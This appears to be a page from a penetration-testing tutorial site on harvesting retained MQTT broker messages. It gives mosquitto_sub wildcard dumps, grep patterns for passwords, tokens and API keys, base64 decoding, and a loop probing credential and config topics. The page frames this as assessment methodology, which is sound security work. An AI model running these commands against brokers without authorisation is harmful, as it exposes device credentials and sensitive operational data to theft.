Skip to content
HackIndex logo

HackIndex

MQTT Retained Message Harvest

3 min read Mar 16, 2026

Retained messages are payloads the broker stores permanently for each topic and delivers immediately to any new subscriber. Publishers use them to ensure late-joining subscribers receive the current state of a device — but they also mean that credentials, tokens, configuration values, and sensitive operational data published with the retained flag sit on the broker indefinitely, waiting for anyone who subscribes to retrieve them. Unlike live traffic, retained messages do not require timing — they are available instantly on demand.

Pull All Retained Messages

Subscribe to the wildcard with --retained-only. The client receives all retained messages, then exits cleanly:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --retained-only -C 1000 | \
tee /tmp/mqtt-retained.txt

-C 1000 stops after 1000 messages. If $SYS/broker/retained messages/count indicated a higher number, increase accordingly. The command completes in seconds regardless of count.

If authentication is required:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD \
-t '#' -v --retained-only -C 1000 | tee /tmp/mqtt-retained.txt

Scan for Credentials and Secrets

Search the retained message dump for common credential patterns:

┌──(kali㉿kali)-[~]
└─$ grep -iE 'password|passwd|secret|token|apikey|api_key|auth|credential' /tmp/mqtt-retained.txt

Search for JSON payloads with embedded credentials:

┌──(kali㉿kali)-[~]
└─$ grep -oE '"(password|token|secret|key|auth)"\s*:\s*"[^"]+"' /tmp/mqtt-retained.txt

Search for structured credential strings:

┌──(kali㉿kali)-[~]
└─$ grep -oE '[a-zA-Z0-9._%+-]+:[a-zA-Z0-9!@#$%^&*()_+=-]{6,}' /tmp/mqtt-retained.txt

Decode any base64-encoded payloads:

awk '{print $NF}' /tmp/mqtt-retained.txt | while read payload; do
  decoded=$(echo "$payload" | base64 -d 2>/dev/null | strings)
  [ -n "$decoded" ] && echo "Topic payload decoded: $decoded"
done

Identify Configuration Payloads

Configuration topics often carry retained messages because devices need to retrieve their settings on boot. These commonly contain endpoint URLs, credentials for downstream services, or operational parameters:

┌──(kali㉿kali)-[~]
└─$ grep -iE 'config|conf|setting|endpoint|url|host|server' /tmp/mqtt-retained.txt

Sort by Topic Path

Group retained messages by their topic hierarchy to understand what categories of data are stored:

┌──(kali㉿kali)-[~]
└─$ awk '{print $2}' /tmp/mqtt-retained.txt | sort | uniq -c | sort -rn | head -30

Topics with high retention counts often represent frequently updated device state. Topics in credential or config subtrees are higher priority.

Check Specific High-Value Paths

If wildcard is ACL-restricted but individual paths are readable, target likely high-value topic paths directly:

for topic in 'credentials/#' 'config/#' 'admin/#' 'backup/#' 'secret/#' 'token/#'; do
  mosquitto_sub -h $TARGET_IP -p 1883 -t "$topic" -v --retained-only -C 20 2>/dev/null
done

Note What Cannot Be Cleared

Retained messages persist until explicitly cleared by publishing an empty payload with the retained flag to the same topic. On live systems, device firmware typically republishes on reconnect — clearing a retained message may cause a brief gap but does not permanently remove the data. Do not clear retained messages during an assessment unless explicitly in scope.

References